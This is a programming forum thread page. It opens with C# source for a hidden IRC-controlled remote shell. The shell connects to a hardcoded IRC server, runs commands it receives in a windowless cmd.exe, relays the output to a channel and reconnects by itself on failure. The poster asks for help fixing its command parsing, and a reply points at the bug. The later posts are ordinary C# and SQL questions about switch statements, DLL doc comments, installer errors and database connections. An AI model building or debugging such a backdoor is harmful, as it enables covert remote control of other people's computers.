|
Hi all, I've written a shell with IRC as it's communication method, all seems fine and this technique works.. well, soft of. The problem with the following code is that type ".cmd dir" or ".cmd echo hello" I get the expect return as you would from the cmd shell, but when I type something like ".cmd cd c:\windows\" it thinks i've written "dows\" where did the rest of the command go?
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
public static class ircConnect
{
public static int PORT = 6667;
public static string SERVER = "194.14.236.50";
public static string NICK = ircnick.generate(true);
private static string USER = "USER varta 8 * : varta irc shell";
public static string CHANNEL = "#channel";
public static StreamWriter writer;
public static Process processCmd;
public static bool begin = false;
public static string ExecuteCommandSync(object command)
{
try
{
StringBuilder strInput = new StringBuilder();
if (!begin)
{
processCmd = new Process();
processCmd.StartInfo.FileName = "cmd.exe";
processCmd.StartInfo.CreateNoWindow = true;
processCmd.StartInfo.UseShellExecute = false;
processCmd.StartInfo.RedirectStandardOutput = true;
processCmd.StartInfo.RedirectStandardInput = true;
processCmd.StartInfo.RedirectStandardError = true;
processCmd.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
processCmd.Start();
processCmd.BeginOutputReadLine();
}
strInput.Append(command);
strInput.Append("\n");
processCmd.StandardInput.WriteLine(command);
strInput.Remove(0, strInput.Length);
}
catch (Exception objException)
{
}
return "Error executing commands";
}
public static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
writer.WriteLine("PRIVMSG #channel :" + strOutput + "\r\n");
writer.Flush();
}
catch (Exception err) { }
}
}
public static void processInput(string Commands)
{
if (Commands.Contains(".cmd"))
{
string cmd = Commands;
int offset = cmd.LastIndexOf(":") + 6;
string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
if (!begin) begin = true;
Thread.Sleep(2000);
}
}
public static void connect()
{
NetworkStream stream;
TcpClient irc;
string inputLine;
StreamReader reader;
try
{
irc = new TcpClient(SERVER, PORT);
stream = irc.GetStream();
reader = new StreamReader(stream);
writer = new StreamWriter(stream);
PingSender ping = new PingSender();
ping.Start();
writer.WriteLine(USER);
writer.Flush();
writer.WriteLine("NICK " + NICK);
writer.Flush();
writer.WriteLine("JOIN " + CHANNEL);
writer.Flush();
while (true)
{
while ((inputLine = reader.ReadLine()) != null)
{
Console.WriteLine(inputLine);
processInput(inputLine);
}
writer.Close();
reader.Close();
irc.Close();
}
}
catch (Exception e)
{
Console.WriteLine(e.ToString());
Thread.Sleep(5000);
string[] argv = { };
connect();
}
}
}
|
|
|
|
|
I did not examine your code in complete detail but the following lines in your processInput() method may well be the problem.
int offset = cmd.LastIndexOf(":") + 6;
string sendCmd = ExecuteCommandSync(cmd.Substring(offset, cmd.Length - offset));
One of these days I'm going to think of a really clever signature.
|
|
|
|
|
Hi guys,
how do you convert this to switch statement? i want to compare the cons and pros of switch vs else if statement, i can't sleep last night thinking about this, thank you for your help.
{
int a = int.Parse(textBox1.Text);
int b = 10;
if (a < b)
{
MessageBox.Show("a is less than b");
}
else if (a > b)
{
MessageBox.Show("a is greater than b");
}
else
{
MessageBox.Show("a is equal to b");
}
}
|
|
|
|
|
The rule of switch statements is that the Case clause must be a constant known at compile time.
Since a > b cannot be known at compile time, there is no way to convert this code to a switch statement.
The difficult we do right away...
...the impossible takes slightly longer.
|
|
|
|
|
so i was correct all along but the thought of it last night made me wonder, well. that's what you would be thinking if you are bored anyways. thank you for your help btw.
|
|
|
|
|
Please note, however, that this is allowed:
switch ( a > b )
{
case true:
DoStuff();
break;
case false:
DoOtherStuff();
break;
}
The difficult we do right away...
...the impossible takes slightly longer.
|
|
|
|
|
This is also allowed:
switch (a.CompareTo(b))
{
case -1:
{
MessageBox.Show("a is less than b");
break;
}
case 1:
{
MessageBox.Show("a is greater than b");
break;
}
case 0:
{
MessageBox.Show("a is equal to b");
break;
}
}
NB: int.CompareTo(int) currently returns { -1, 0, 1 } , but is only documented as returning { less than 0, 0, greater than 0 } . If you want to be absolutely sure, you should pass the result to Math.Sign , which will always return { -1, 0, 1 } .
"These people looked deep within my soul and assigned me a number based on the order in which I joined."
- Homer
|
|
|
|
|
Allowed, but if you do it on a project I am working on I will punch you
|
|
|
|
|
As mentioned, here you have no way but to use if-else .
However, in general, if your if else if statement is going to becomes unreadable with too many conditions, you can look at converting it into a case statement. Remember, someone might need to do maintenance work this code later on.
|
|
|
|
|
As others have said, it has to be if-else or rethink your tests and perhaps do a pre-assignment to get a switch-case statement.
With really complex if-else cascades one trick I like to use is to make a pre-defined array (think of it as a decision table). This means that the code is much simpler to read and also, changing your logic only means updating the decision table.
I don't know if it's considered 'good programming practise' as I'm not a Pro, just a hobby coder. But, it works for me.
|
|
|
|
|
It takes a particular mindset to understand decision tables. It's usually a sign that you need to take a step back and look for a more elegant solution.
|
|
|
|
|
hi , i have a dll file that contain about 10 classes and each class has 10 method .
i have writen a parameter comments for each method but when i'm using my dll file in other projects. and make an instance of the class and calling the classes method no discription w'll appears for the methods parameters .
but it works fine if i call the classes method in the same class . like this
public class Export
{
public void SaveData(ref DataSet data)
{
}
public void Testing ()
{
SaveData();
}
}
but if i used my dll file in other projects then nothing w'll appear .
LIKe this
Lets guess the dll file name is Classes then .
using classes;
namespace Myproject
{
public partial class Form1
{
public void Testing ()
{
classes.export exp = new classes.export();
exp.SaveData();
}
}
}
i hope you get what i mean .
any help i'll appriciate that .
|
|
|
|
|
Does the code compile? Asking because of this suggestion;
mohammadkaab wrote: Lets guess the dll file name is Classes then .
using classes;
It's the Namespace that's used, not the dll's name.
Are you building (and deploying) the Xml file that has been generated?
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
ohh my mistake , bcz i rename both of (namespace and dll ) name to classes.
no i don't have any idea about the XML deploying . i'm just export just bench of classes using the class Library Output type in properties .
i dont know any thing about the XML Deploying .
|
|
|
|
|
mohammadkaab wrote: no i don't have any idea about the XML deploying
For more information, see the documentation on MSDN[^].
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
Error 1 An error occurred while validating. HRESULT = '80004005' C:\Users\VINOD\Desktop\Aftr Solvin Error and validated\MedicalStore)4_08_12\Setup1\Setup1.vdproj Setup1
i got this error while building my setup project in vs 2008
|
|
|
|
|
First off, what does this have to do with C#?
Second, here[^] is more information on the error.
Third, I would recommend using WiX[^] for installers if at all possible. It has many more features, and works a lot better, IMO.
I think computer viruses should count as life. I think it says something about human nature that the only form of life we have created so far is purely destructive. We've created life in our own image.
Stephen Hawking
|
|
|
|
|
how I can make the intranet developed in c # to connect to several database in SQL Server 2008 R2
|
|
|
|
|
Intranet is also a web application that is hosted within organisation.You can develop it same as web application and host it on system connected with your company's network.
Quote: connect to several database in SQL Server 2008 R2
make connection string for each database and use accordingly.
|
|
|
|
|
This question cannot be answered by a forum thread, it is way too broad. You can certainly build an intranet (web) application that connects to multiple databases. Your data access layer (DAL) must be capable of connection to multiple database (via connections string or whatever strategy you use).
If you have been tasked with this and you are asking this question then I suggest you hire a developer.
Never underestimate the power of human stupidity
RAH
|
|
|
|
|
I am Brazilian and my English is not very good, sorry if I do not understand what I mean
This is my stored procedure:
DELIMITER $$
DROP PROCEDURE IF EXISTS `SP_NewPassLogin` $$
CREATE PROCEDURE SP_NewPassLogin (IN val_login VARCHAR(15), IN val_password VARCHAR(30))
BEGIN
DECLARE excessao SMALLINT DEFAULT 0;
DECLARE CONTINUE HANDLER FOR SQLEXCEPTION SET excessao = 1;
IF (val_login <> '' AND val_password <> '') THEN
START TRANSACTION;
UPDATE tbl_user SET password = val_password WHERE login = val_login;
IF excessao = 1 THEN
SELECT 'erro' AS Msg;
ROLLBACK;
ELSE
SELECT 'ok' AS Msg;
COMMIT;
END IF;
END IF;
END$$
DELIMITER;
This is my c# code in btnSave_Click:
private void btnSave_Click(object sender, EventArgs e)
{
using (MySqlConnection conexaoMySQL = Conexaodb.getInstancia().getConexao())
{
try
{
conexaoMySQL.Open();
MySqlCommand cmd = new MySqlCommand("SP_NewPassLogin", conexaoMySQL);
cmd.CommandType = CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("val_login", frmLogin.NomeLogin.NomeUsuario.ToLower());
cmd.Parameters.AddWithValue("val_password", txtPassword.Text);
string retorno = cmd.ExecuteScalar().ToString();
if (retorno == "ok")
{
MessageBox.Show("Dados atualizados com sucesso!", "Sucesso", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
this.Close();
}
else if (retorno == "erro")
{
MessageBox.Show("Informações Inválidas!", "Erro", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
}
catch (Exception ex)
{
MessageBox.Show("Houve problemas. Erro: \n\n" + ex.Message);
}
finally
{
if (conexaoMySQL.State == ConnectionState.Open) conexaoMySQL.Close();
}
}
}
According to my research I have to do reference the object, how can I do this?
|
|
|
|
|
You must say on what line the error occurs.
The difficult we do right away...
...the impossible takes slightly longer.
|
|
|
|
|
It means one of your variables returned null and you tried to either get the value of a property or call a method on that null .
Without the exact line that error occured on, it's impossible to narrow this down any further. Your code doesn't check for this condition. For example, conexaoMySQL may be null and you tried to call Open on it.
|
|
|
|
|
Looks like all the objects are created as required; the first suspect I see, is the irrelevant singleton that 'guards' the connection. You might wanna try opening and closing the connection without doing anything else, to 'test' that part of the structure.
Bastard Programmer from Hell
if you can't read my code, try converting it here[^]
|
|
|
|
|
Debug and locate an object that is null. That null value is causing this error.
|
|
|
|